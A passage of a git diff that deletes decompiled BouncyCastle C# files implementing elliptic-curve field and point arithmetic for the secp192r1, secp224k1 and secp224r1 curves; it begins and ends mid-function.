Nat192.Create(); - uint[] array2 = Nat192.Create(); - uint[] array3 = Nat192.Create(); - SecP192R1Field.Square(secP192R1FieldElement.x, array3); - uint[] array4 = Nat192.Create(); - SecP192R1Field.Square(array3, array4); - bool isOne = secP192R1FieldElement3.IsOne; - uint[] array5 = secP192R1FieldElement3.x; - if (!isOne) - { - array5 = array2; - SecP192R1Field.Square(secP192R1FieldElement3.x, array5); - } - SecP192R1Field.Subtract(secP192R1FieldElement2.x, array5, array); - uint[] array6 = array2; - SecP192R1Field.Add(secP192R1FieldElement2.x, array5, array6); - SecP192R1Field.Multiply(array6, array, array6); - uint x = Nat192.AddBothTo(array6, array6, array6); - SecP192R1Field.Reduce32(x, array6); - uint[] array7 = array3; - SecP192R1Field.Multiply(array3, secP192R1FieldElement2.x, array7); - x = Nat.ShiftUpBits(6, array7, 2, 0u); - SecP192R1Field.Reduce32(x, array7); - x = Nat.ShiftUpBits(6, array4, 3, 0u, array); - SecP192R1Field.Reduce32(x, array); - SecP192R1FieldElement secP192R1FieldElement4 = new SecP192R1FieldElement(array4); - SecP192R1Field.Square(array6, secP192R1FieldElement4.x); - SecP192R1Field.Subtract(secP192R1FieldElement4.x, array7, secP192R1FieldElement4.x); - SecP192R1Field.Subtract(secP192R1FieldElement4.x, array7, secP192R1FieldElement4.x); - SecP192R1FieldElement secP192R1FieldElement5 = new SecP192R1FieldElement(array7); - SecP192R1Field.Subtract(array7, secP192R1FieldElement4.x, secP192R1FieldElement5.x); - SecP192R1Field.Multiply(secP192R1FieldElement5.x, array6, secP192R1FieldElement5.x); - SecP192R1Field.Subtract(secP192R1FieldElement5.x, array, secP192R1FieldElement5.x); - SecP192R1FieldElement secP192R1FieldElement6 = new SecP192R1FieldElement(array6); - SecP192R1Field.Twice(secP192R1FieldElement.x, secP192R1FieldElement6.x); - if (!isOne) - { - SecP192R1Field.Multiply(secP192R1FieldElement6.x, secP192R1FieldElement3.x, secP192R1FieldElement6.x); - } - return new SecP192R1Point(curve, secP192R1FieldElement4, secP192R1FieldElement5, new ECFieldElement[1] { secP192R1FieldElement6 }, base.IsCompressed); - } - - public override ECPoint TwicePlus(ECPoint b) - { - if (this == b) - { - return ThreeTimes(); - } - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return Twice(); - } - ECFieldElement rawYCoord = base.RawYCoord; - if (rawYCoord.IsZero) - { - return b; - } - return Twice().Add(b); - } - - public override ECPoint ThreeTimes() - { - if (base.IsInfinity || base.RawYCoord.IsZero) - { - return this; - } - return Twice().Add(this); - } - - public override ECPoint Negate() - { - if (base.IsInfinity) - { - return this; - } - return new SecP192R1Point(Curve, base.RawXCoord, base.RawYCoord.Negate(), base.RawZCoords, base.IsCompressed); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP224K1Curve.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP224K1Curve.cs deleted file mode 100644 index ac34d9c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP224K1Curve.cs +++ /dev/null @@ -1,119 +0,0 @@ -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP224K1Curve : AbstractFpCurve -{ - private class SecP224K1LookupTable : ECLookupTable - { - private readonly SecP224K1Curve m_outer; - - private readonly uint[] m_table; - - private readonly int m_size; - - public virtual int Size => m_size; - - internal SecP224K1LookupTable(SecP224K1Curve outer, uint[] table, int size) - { - m_outer = outer; - m_table = table; - m_size = size; - } - - public virtual ECPoint Lookup(int index) - { - uint[] array = Nat224.Create(); - uint[] array2 = Nat224.Create(); - int num = 0; - for (int i = 0; i < m_size; i++) - { - uint num2 = (uint)((i ^ index) - 1 >> 31); - for (int j = 0; j < 7; j++) - { - uint[] array4; - uint[] array3 = (array4 = array); - int num3 = j; - nint num4 = num3; - array3[num3] = array4[num4] ^ (m_table[num + j] & num2); - uint[] array5 = (array4 = array2); - int num5 = j; - num4 = num5; - array5[num5] = array4[num4] ^ (m_table[num + 7 + j] & num2); - } - num += 14; - } - return m_outer.CreateRawPoint(new SecP224K1FieldElement(array), new SecP224K1FieldElement(array2), withCompression: false); - } - } - - private const int SECP224K1_DEFAULT_COORDS = 2; - - private const int SECP224K1_FE_INTS = 7; - - public static readonly BigInteger q = new BigInteger(1, Hex.Decode("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFE56D")); - - protected readonly SecP224K1Point m_infinity; - - public virtual BigInteger Q => q; - - public override ECPoint Infinity => m_infinity; - - public override int FieldSize => q.BitLength; - - public SecP224K1Curve() - : base(q) - { - m_infinity = new SecP224K1Point(this, null, null); - m_a = FromBigInteger(BigInteger.Zero); - m_b = FromBigInteger(BigInteger.ValueOf(5L)); - m_order = new BigInteger(1, Hex.Decode("010000000000000000000000000001DCE8D2EC6184CAF0A971769FB1F7")); - m_cofactor = BigInteger.One; - m_coord = 2; - } - - protected override ECCurve CloneCurve() - { - return new SecP224K1Curve(); - } - - public override bool SupportsCoordinateSystem(int coord) - { - if (coord == 2) - { - return true; - } - return false; - } - - public override ECFieldElement FromBigInteger(BigInteger x) - { - return new SecP224K1FieldElement(x); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, bool withCompression) - { - return new SecP224K1Point(this, x, y, withCompression); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - { - return new SecP224K1Point(this, x, y, zs, withCompression); - } - - public override ECLookupTable CreateCacheSafeLookupTable(ECPoint[] points, int off, int len) - { - uint[] array = new uint[len * 7 * 2]; - int num = 0; - for (int i = 0; i < len; i++) - { - ECPoint eCPoint = points[off + i]; - Nat224.Copy(((SecP224K1FieldElement)eCPoint.RawXCoord).x, 0, array, num); - num += 7; - Nat224.Copy(((SecP224K1FieldElement)eCPoint.RawYCoord).x, 0, array, num); - num += 7; - } - return new SecP224K1LookupTable(this, array, len); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP224K1Field.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP224K1Field.cs deleted file mode 100644 index 4105f3e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP224K1Field.cs +++ /dev/null @@ -1,154 +0,0 @@ -using Org.BouncyCastle.Math.Raw; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP224K1Field -{ - private const uint P6 = uint.MaxValue; - - private const uint PExt13 = uint.MaxValue; - - private const uint PInv33 = 6803u; - - internal static readonly uint[] P = new uint[7] { 4294960493u, 4294967294u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u }; - - internal static readonly uint[] PExt = new uint[14] - { - 46280809u, 13606u, 1u, 0u, 0u, 0u, 0u, 4294953690u, 4294967293u, 4294967295u, - 4294967295u, 4294967295u, 4294967295u, 4294967295u - }; - - private static readonly uint[] PExtInv = new uint[9] { 4248686487u, 4294953689u, 4294967294u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, 13605u, 2u }; - - public static void Add(uint[] x, uint[] y, uint[] z) - { - if (Nat224.Add(x, y, z) != 0 || (z[6] == uint.MaxValue && Nat224.Gte(z, P))) - { - Nat.Add33To(7, 6803u, z); - } - } - - public static void AddExt(uint[] xx, uint[] yy, uint[] zz) - { - if ((Nat.Add(14, xx, yy, zz) != 0 || (zz[13] == uint.MaxValue && Nat.Gte(14, zz, PExt))) && Nat.AddTo(PExtInv.Length, PExtInv, zz) != 0) - { - Nat.IncAt(14, zz, PExtInv.Length); - } - } - - public static void AddOne(uint[] x, uint[] z) - { - if (Nat.Inc(7, x, z) != 0 || (z[6] == uint.MaxValue && Nat224.Gte(z, P))) - { - Nat.Add33To(7, 6803u, z); - } - } - - public static uint[] FromBigInteger(BigInteger x) - { - uint[] array = Nat224.FromBigInteger(x); - if (array[6] == uint.MaxValue && Nat224.Gte(array, P)) - { - Nat224.SubFrom(P, array); - } - return array; - } - - public static void Half(uint[] x, uint[] z) - { - if ((x[0] & 1) == 0) - { - Nat.ShiftDownBit(7, x, 0u, z); - return; - } - uint c = Nat224.Add(x, P, z); - Nat.ShiftDownBit(7, z, c); - } - - public static void Multiply(uint[] x, uint[] y, uint[] z) - { - uint[] array = Nat224.CreateExt(); - Nat224.Mul(x, y, array); - Reduce(array, z); - } - - public static void MultiplyAddToExt(uint[] x, uint[] y, uint[] zz) - { - if ((Nat224.MulAddTo(x, y, zz) != 0 || (zz[13] == uint.MaxValue && Nat.Gte(14, zz, PExt))) && Nat.AddTo(PExtInv.Length, PExtInv, zz) != 0) - { - Nat.IncAt(14, zz, PExtInv.Length); - } - } - - public static void Negate(uint[] x, uint[] z) - { - if (Nat224.IsZero(x)) - { - Nat224.Zero(z); - } - else - { - Nat224.Sub(P, x, z); - } - } - - public static void Reduce(uint[] xx, uint[] z) - { - ulong y = Nat224.Mul33Add(6803u, xx, 7, xx, 0, z, 0); - if (Nat224.Mul33DWordAdd(6803u, y, z, 0) != 0 || (z[6] == uint.MaxValue && Nat224.Gte(z, P))) - { - Nat.Add33To(7, 6803u, z); - } - } - - public static void Reduce32(uint x, uint[] z) - { - if ((x != 0 && Nat224.Mul33WordAdd(6803u, x, z, 0) != 0) || (z[6] == uint.MaxValue && Nat224.Gte(z, P))) - { - Nat.Add33To(7, 6803u, z); - } - } - - public static void Square(uint[] x, uint[] z) - { - uint[] array = Nat224.CreateExt(); - Nat224.Square(x, array); - Reduce(array, z); - } - - public static void SquareN(uint[] x, int n, uint[] z) - { - uint[] array = Nat224.CreateExt(); - Nat224.Square(x, array); - Reduce(array, z); - while (--n > 0) - { - Nat224.Square(z, array); - Reduce(array, z); - } - } - - public static void Subtract(uint[] x, uint[] y, uint[] z) - { - if (Nat224.Sub(x, y, z) != 0) - { - Nat.Sub33From(7, 6803u, z); - } - } - - public static void SubtractExt(uint[] xx, uint[] yy, uint[] zz) - { - if (Nat.Sub(14, xx, yy, zz) != 0 && Nat.SubFrom(PExtInv.Length, PExtInv, zz) != 0) - { - Nat.DecAt(14, zz, PExtInv.Length); - } - } - - public static void Twice(uint[] x, uint[] z) - { - if (Nat.ShiftUpBit(7, x, 0u, z) != 0 || (z[6] == uint.MaxValue && Nat224.Gte(z, P))) - { - Nat.Add33To(7, 6803u, z); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP224K1FieldElement.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP224K1FieldElement.cs deleted file mode 100644 index 8b3b64a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP224K1FieldElement.cs +++ /dev/null @@ -1,201 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP224K1FieldElement : AbstractFpFieldElement -{ - public static readonly BigInteger Q = SecP224K1Curve.q; - - private static readonly uint[] PRECOMP_POW2 = new uint[7] { 868209154u, 3707425075u, 579297866u, 3280018344u, 2824165628u, 514782679u, 2396984652u }; - - protected internal readonly uint[] x; - - public override bool IsZero => Nat224.IsZero(x); - - public override bool IsOne => Nat224.IsOne(x); - - public override string FieldName => "SecP224K1Field"; - - public override int FieldSize => Q.BitLength; - - public SecP224K1FieldElement(BigInteger x) - { - if (x == null || x.SignValue < 0 || x.CompareTo(Q) >= 0) - { - throw new ArgumentException("value invalid for SecP224K1FieldElement", "x"); - } - this.x = SecP224K1Field.FromBigInteger(x); - } - - public SecP224K1FieldElement() - { - x = Nat224.Create(); - } - - protected internal SecP224K1FieldElement(uint[] x) - { - this.x = x; - } - - public override bool TestBitZero() - { - return Nat224.GetBit(x, 0) == 1; - } - - public override BigInteger ToBigInteger() - { - return Nat224.ToBigInteger(x); - } - - public override ECFieldElement Add(ECFieldElement b) - { - uint[] z = Nat224.Create(); - SecP224K1Field.Add(x, ((SecP224K1FieldElement)b).x, z); - return new SecP224K1FieldElement(z); - } - - public override ECFieldElement AddOne() - { - uint[] z = Nat224.Create(); - SecP224K1Field.AddOne(x, z); - return new SecP224K1FieldElement(z); - } - - public override ECFieldElement Subtract(ECFieldElement b) - { - uint[] z = Nat224.Create(); - SecP224K1Field.Subtract(x, ((SecP224K1FieldElement)b).x, z); - return new SecP224K1FieldElement(z); - } - - public override ECFieldElement Multiply(ECFieldElement b) - { - uint[] z = Nat224.Create(); - SecP224K1Field.Multiply(x, ((SecP224K1FieldElement)b).x, z); - return new SecP224K1FieldElement(z); - } - - public override ECFieldElement Divide(ECFieldElement b) - { - uint[] z = Nat224.Create(); - Mod.Invert(SecP224K1Field.P, ((SecP224K1FieldElement)b).x, z); - SecP224K1Field.Multiply(z, x, z); - return new SecP224K1FieldElement(z); - } - - public override ECFieldElement Negate() - { - uint[] z = Nat224.Create(); - SecP224K1Field.Negate(x, z); - return new SecP224K1FieldElement(z); - } - - public override ECFieldElement Square() - { - uint[] z = Nat224.Create(); - SecP224K1Field.Square(x, z); - return new SecP224K1FieldElement(z); - } - - public override ECFieldElement Invert() - { - uint[] z = Nat224.Create(); - Mod.Invert(SecP224K1Field.P, x, z); - return new SecP224K1FieldElement(z); - } - - public override ECFieldElement Sqrt() - { - uint[] y = x; - if (Nat224.IsZero(y) || Nat224.IsOne(y)) - { - return this; - } - uint[] array = Nat224.Create(); - SecP224K1Field.Square(y, array); - SecP224K1Field.Multiply(array, y, array); - uint[] array2 = array; - SecP224K1Field.Square(array, array2); - SecP224K1Field.Multiply(array2, y, array2); - uint[] array3 = Nat224.Create(); - SecP224K1Field.Square(array2, array3); - SecP224K1Field.Multiply(array3, y, array3); - uint[] array4 = Nat224.Create(); - SecP224K1Field.SquareN(array3, 4, array4); - SecP224K1Field.Multiply(array4, array3, array4); - uint[] array5 = Nat224.Create(); - SecP224K1Field.SquareN(array4, 3, array5); - SecP224K1Field.Multiply(array5, array2, array5); - uint[] array6 = array5; - SecP224K1Field.SquareN(array5, 8, array6); - SecP224K1Field.Multiply(array6, array4, array6); - uint[] array7 = array4; - SecP224K1Field.SquareN(array6, 4, array7); - SecP224K1Field.Multiply(array7, array3, array7); - uint[] array8 = array3; - SecP224K1Field.SquareN(array7, 19, array8); - SecP224K1Field.Multiply(array8, array6, array8); - uint[] array9 = Nat224.Create(); - SecP224K1Field.SquareN(array8, 42, array9); - SecP224K1Field.Multiply(array9, array8, array9); - uint[] z = array8; - SecP224K1Field.SquareN(array9, 23, z); - SecP224K1Field.Multiply(z, array7, z); - uint[] array10 = array7; - SecP224K1Field.SquareN(z, 84, array10); - SecP224K1Field.Multiply(array10, array9, array10); - uint[] z2 = array10; - SecP224K1Field.SquareN(z2, 20, z2); - SecP224K1Field.Multiply(z2, array6, z2); - SecP224K1Field.SquareN(z2, 3, z2); - SecP224K1Field.Multiply(z2, y, z2); - SecP224K1Field.SquareN(z2, 2, z2); - SecP224K1Field.Multiply(z2, y, z2); - SecP224K1Field.SquareN(z2, 4, z2); - SecP224K1Field.Multiply(z2, array2, z2); - SecP224K1Field.Square(z2, z2); - uint[] array11 = array9; - SecP224K1Field.Square(z2, array11); - if (Nat224.Eq(y, array11)) - { - return new SecP224K1FieldElement(z2); - } - SecP224K1Field.Multiply(z2, PRECOMP_POW2, z2); - SecP224K1Field.Square(z2, array11); - if (Nat224.Eq(y, array11)) - { - return new SecP224K1FieldElement(z2); - } - return null; - } - - public override bool Equals(object obj) - { - return Equals(obj as SecP224K1FieldElement); - } - - public override bool Equals(ECFieldElement other) - { - return Equals(other as SecP224K1FieldElement); - } - - public virtual bool Equals(SecP224K1FieldElement other) - { - if (this == other) - { - return true; - } - if (other == null) - { - return false; - } - return Nat224.Eq(x, other.x); - } - - public override int GetHashCode() - { - return Q.GetHashCode() ^ Arrays.GetHashCode(x, 0, 7); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP224K1Point.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP224K1Point.cs deleted file mode 100644 index a38479e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP224K1Point.cs +++ /dev/null @@ -1,218 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP224K1Point : AbstractFpPoint -{ - public SecP224K1Point(ECCurve curve, ECFieldElement x, ECFieldElement y) - : this(curve, x, y, withCompression: false) - { - } - - public SecP224K1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, bool withCompression) - : base(curve, x, y, withCompression) - { - if (x == null != (y == null)) - { - throw new ArgumentException("Exactly one of the field elements is null"); - } - } - - internal SecP224K1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - : base(curve, x, y, zs, withCompression) - { - } - - protected override ECPoint Detach() - { - return new SecP224K1Point(null, AffineXCoord, AffineYCoord); - } - - public override ECPoint Add(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return this; - } - if (this == b) - { - return Twice(); - } - ECCurve curve = Curve; - SecP224K1FieldElement secP224K1FieldElement = (SecP224K1FieldElement)base.RawXCoord; - SecP224K1FieldElement secP224K1FieldElement2 = (SecP224K1FieldElement)base.RawYCoord; - SecP224K1FieldElement secP224K1FieldElement3 = (SecP224K1FieldElement)b.RawXCoord; - SecP224K1FieldElement secP224K1FieldElement4 = (SecP224K1FieldElement)b.RawYCoord; - SecP224K1FieldElement secP224K1FieldElement5 = (SecP224K1FieldElement)base.RawZCoords[0]; - SecP224K1FieldElement secP224K1FieldElement6 = (SecP224K1FieldElement)b.RawZCoords[0]; - uint[] array = Nat224.CreateExt(); - uint[] array2 = Nat224.Create(); - uint[] array3 = Nat224.Create(); - uint[] array4 = Nat224.Create(); - bool isOne = secP224K1FieldElement5.IsOne; - uint[] array5; - uint[] array6; - if (isOne) - { - array5 = secP224K1FieldElement3.x; - array6 = secP224K1FieldElement4.x; - } - else - { - array6 = array3; - SecP224K1Field.Square(secP224K1FieldElement5.x, array6); - array5 = array2; - SecP224K1Field.Multiply(array6, secP224K1FieldElement3.x, array5); - SecP224K1Field.Multiply(array6, secP224K1FieldElement5.x, array6); - SecP224K1Field.Multiply(array6, secP224K1FieldElement4.x, array6); - } - bool isOne2 = secP224K1FieldElement6.IsOne; - uint[] array7; - uint[] array8; - if (isOne2) - { - array7 = secP224K1FieldElement.x; - array8 = secP224K1FieldElement2.x; - } - else - { - array8 = array4; - SecP224K1Field.Square(secP224K1FieldElement6.x, array8); - array7 = array; - SecP224K1Field.Multiply(array8, secP224K1FieldElement.x, array7); - SecP224K1Field.Multiply(array8, secP224K1FieldElement6.x, array8); - SecP224K1Field.Multiply(array8, secP224K1FieldElement2.x, array8); - } - uint[] array9 = Nat224.Create(); - SecP224K1Field.Subtract(array7, array5, array9); - uint[] array10 = array2; - SecP224K1Field.Subtract(array8, array6, array10); - if (Nat224.IsZero(array9)) - { - if (Nat224.IsZero(array10)) - { - return Twice(); - } - return curve.Infinity; - } - uint[] array11 = array3; - SecP224K1Field.Square(array9, array11); - uint[] array12 = Nat224.Create(); - SecP224K1Field.Multiply(array11, array9, array12); - uint[] array13 = array3; - SecP224K1Field.Multiply(array11, array7, array13); - SecP224K1Field.Negate(array12, array12); - Nat224.Mul(array8, array12, array); - uint x = Nat224.AddBothTo(array13, array13, array12); - SecP224K1Field.Reduce32(x, array12); - SecP224K1FieldElement secP224K1FieldElement7 = new SecP224K1FieldElement(array4); - SecP224K1Field.Square(array10, secP224K1FieldElement7.x); - SecP224K1Field.Subtract(secP224K1FieldElement7.x, array12, secP224K1FieldElement7.x); - SecP224K1FieldElement secP224K1FieldElement8 = new SecP224K1FieldElement(array12); - SecP224K1Field.Subtract(array13, secP224K1FieldElement7.x, secP224K1FieldElement8.x); - SecP224K1Field.MultiplyAddToExt(secP224K1FieldElement8.x, array10, array); - SecP224K1Field.Reduce(array, secP224K1FieldElement8.x); - SecP224K1FieldElement secP224K1FieldElement9 = new SecP224K1FieldElement(array9); - if (!isOne) - { - SecP224K1Field.Multiply(secP224K1FieldElement9.x, secP224K1FieldElement5.x, secP224K1FieldElement9.x); - } - if (!isOne2) - { - SecP224K1Field.Multiply(secP224K1FieldElement9.x, secP224K1FieldElement6.x, secP224K1FieldElement9.x); - } - ECFieldElement[] zs = new ECFieldElement[1] { secP224K1FieldElement9 }; - return new SecP224K1Point(curve, secP224K1FieldElement7, secP224K1FieldElement8, zs, base.IsCompressed); - } - - public override ECPoint Twice() - { - if (base.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - SecP224K1FieldElement secP224K1FieldElement = (SecP224K1FieldElement)base.RawYCoord; - if (secP224K1FieldElement.IsZero) - { - return curve.Infinity; - } - SecP224K1FieldElement secP224K1FieldElement2 = (SecP224K1FieldElement)base.RawXCoord; - SecP224K1FieldElement secP224K1FieldElement3 = (SecP224K1FieldElement)base.RawZCoords[0]; - uint[] array = Nat224.Create(); - SecP224K1Field.Square(secP224K1FieldElement.x, array); - uint[] array2 = Nat224.Create(); - SecP224K1Field.Square(array, array2); - uint[] array3 = Nat224.Create(); - SecP224K1Field.Square(secP224K1FieldElement2.x, array3); - uint x = Nat224.AddBothTo(array3, array3, array3); - SecP224K1Field.Reduce32(x, array3); - uint[] array4 = array; - SecP224K1Field.Multiply(array, secP224K1FieldElement2.x, array4); - x = Nat.ShiftUpBits(7, array4, 2, 0u); - SecP224K1Field.Reduce32(x, array4); - uint[] array5 = Nat224.Create(); - x = Nat.ShiftUpBits(7, array2, 3, 0u, array5); - SecP224K1Field.Reduce32(x, array5); - SecP224K1FieldElement secP224K1FieldElement4 = new SecP224K1FieldElement(array2); - SecP224K1Field.Square(array3, secP224K1FieldElement4.x); - SecP224K1Field.Subtract(secP224K1FieldElement4.x, array4, secP224K1FieldElement4.x); - SecP224K1Field.Subtract(secP224K1FieldElement4.x, array4, secP224K1FieldElement4.x); - SecP224K1FieldElement secP224K1FieldElement5 = new SecP224K1FieldElement(array4); - SecP224K1Field.Subtract(array4, secP224K1FieldElement4.x, secP224K1FieldElement5.x); - SecP224K1Field.Multiply(secP224K1FieldElement5.x, array3, secP224K1FieldElement5.x); - SecP224K1Field.Subtract(secP224K1FieldElement5.x, array5, secP224K1FieldElement5.x); - SecP224K1FieldElement secP224K1FieldElement6 = new SecP224K1FieldElement(array3); - SecP224K1Field.Twice(secP224K1FieldElement.x, secP224K1FieldElement6.x); - if (!secP224K1FieldElement3.IsOne) - { - SecP224K1Field.Multiply(secP224K1FieldElement6.x, secP224K1FieldElement3.x, secP224K1FieldElement6.x); - } - return new SecP224K1Point(curve, secP224K1FieldElement4, secP224K1FieldElement5, new ECFieldElement[1] { secP224K1FieldElement6 }, base.IsCompressed); - } - - public override ECPoint TwicePlus(ECPoint b) - { - if (this == b) - { - return ThreeTimes(); - } - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return Twice(); - } - ECFieldElement rawYCoord = base.RawYCoord; - if (rawYCoord.IsZero) - { - return b; - } - return Twice().Add(b); - } - - public override ECPoint ThreeTimes() - { - if (base.IsInfinity || base.RawYCoord.IsZero) - { - return this; - } - return Twice().Add(this); - } - - public override ECPoint Negate() - { - if (base.IsInfinity) - { - return this; - } - return new SecP224K1Point(Curve, base.RawXCoord, base.RawYCoord.Negate(), base.RawZCoords, base.IsCompressed); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP224R1Curve.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP224R1Curve.cs deleted file mode 100644 index 7200271..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP224R1Curve.cs +++ /dev/null @@ -1,119 +0,0 @@ -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP224R1Curve : AbstractFpCurve -{ - private class SecP224R1LookupTable : ECLookupTable - { - private readonly SecP224R1Curve m_outer; - - private readonly uint[] m_table; - - private readonly int m_size; - - public virtual int Size => m_size; - - internal SecP224R1LookupTable(SecP224R1Curve outer, uint[] table, int size) - { - m_outer = outer; - m_table = table; - m_size = size; - } - - public virtual ECPoint Lookup(int index) - { - uint[] array = Nat224.Create(); - uint[] array2 = Nat224.Create(); - int num = 0; - for (int i = 0; i < m_size; i++) - { - uint num2 = (uint)((i ^ index) - 1 >> 31); - for (int j = 0; j < 7; j++) - { - uint[] array4; - uint[] array3 = (array4 = array); - int num3 = j; - nint num4 = num3; - array3[num3] = array4[num4] ^ (m_table[num + j] & num2); - uint[] array5 = (array4 = array2); - int num5 = j; - num4 = num5; - array5[num5] = array4[num4] ^ (m_table[num + 7 + j] & num2); - } - num += 14; - } - return m_outer.CreateRawPoint(new SecP224R1FieldElement(array), new SecP224R1FieldElement(array2), withCompression: false); - } - } - - private const int SECP224R1_DEFAULT_COORDS = 2; - - private const int SECP224R1_FE_INTS = 7; - - public static readonly BigInteger q = new BigInteger(1, Hex.Decode("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF000000000000000000000001")); - - protected readonly SecP224R1Point m_infinity; - - public virtual BigInteger Q => q; - - public override ECPoint Infinity => m_infinity; - - public override int FieldSize => q.BitLength; - - public SecP224R1Curve() - : base(q) - { - m_infinity = new SecP224R1Point(this, null, null); - m_a = FromBigInteger(new BigInteger(1, Hex.Decode("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFE"))); - m_b = FromBigInteger(new BigInteger(1, Hex.Decode("B4050A850C04B3ABF54132565044B0B7D7BFD8BA270B39432355FFB4"))); - m_order = new BigInteger(1, Hex.Decode("FFFFFFFFFFFFFFFFFFFFFFFFFFFF16A2E0B8F03E13DD29455C5C2A3D")); - m_cofactor = BigInteger.One; - m_coord = 2; - } - - protected override ECCurve CloneCurve() - { - return new SecP224R1Curve(); - } - - public override bool SupportsCoordinateSystem(int coord) - { - if (coord == 2) - { - return true; - } - return false; - } - - public override ECFieldElement FromBigInteger(BigInteger x) - { - return new SecP224R1FieldElement(x); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, bool withCompression) - { - return new SecP224R1Point(this, x, y, withCompression); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - { - return new SecP224R1Point(this, x, y, zs, withCompression); - } - - public override ECLookupTable CreateCacheSafeLookupTable(ECPoint[] points, int off, int len) - { - uint[] array = new uint[len * 7 * 2]; - int num = 0; - for (int i = 0; i < len; i++) - { - ECPoint eCPoint = points[off + i]; - Nat224.Copy(((SecP224R1FieldElement)eCPoint.RawXCoord).x, 0, array, num); - num += 7; - Nat224.Copy(((SecP224R1FieldElement)eCPoint.RawYCoord).x, 0, array, num); - num += 7; - } - return new SecP224R1LookupTable(this, array, len); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP224R1Field.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP224R1Field.cs deleted file mode 100644 index 43bc5fa..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP224R1Field.cs +++ /dev/null @@ -1,266 +0,0 @@ -using Org.BouncyCastle.Math.Raw; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP224R1Field -{ - private const uint P6 = uint.MaxValue; - - private const uint PExt13 = uint.MaxValue; - - internal static readonly uint[] P = new uint[7] { 1u, 0u, 0u, 4294967295u, 4294967295u, 4294967295u, 4294967295u }; - - internal static readonly uint[] PExt = new uint[14] - { - 1u, 0u, 0u, 4294967294u, 4294967295u, 4294967295u, 0u, 2u, 0u, 0u, - 4294967294u, 4294967295u, 4294967295u, 4294967295u - }; - - private static readonly uint[] PExtInv = new uint[11] - { - 4294967295u, 4294967295u, 4294967295u, 1u, 0u, 0u, 4294967295u, 4294967293u, 4294967295u, 4294967295u, - 1u - }; - - public static void Add(uint[] x, uint[] y, uint[] z) - { - if (Nat224.Add(x, y, z) != 0 || (z[6] == uint.MaxValue && Nat224.Gte(z, P))) - { - AddPInvTo(z); - } - } - - public static void AddExt(uint[] xx, uint[] yy, uint[] zz) - { - if ((Nat.Add(14, xx, yy, zz) != 0 || (zz[13] == uint.MaxValue && Nat.Gte(14, zz, PExt))) && Nat.AddTo(PExtInv.Length, PExtInv, zz) != 0) - { - Nat.IncAt(14, zz, PExtInv.Length); - } - } - - public static void AddOne(uint[] x, uint[] z) - { - if (Nat.Inc(7, x, z) != 0 || (z[6] == uint.MaxValue && Nat224.Gte(z, P))) - { - AddPInvTo(z); - } - } - - public static uint[] FromBigInteger(BigInteger x) - { - uint[] array = Nat224.FromBigInteger(x); - if (array[6] == uint.MaxValue && Nat224.Gte(array, P)) - { - Nat224.SubFrom(P, array); - } - return array; - } - - public static void Half(uint[] x, uint[] z) - { - if ((x[0] & 1) == 0) - { - 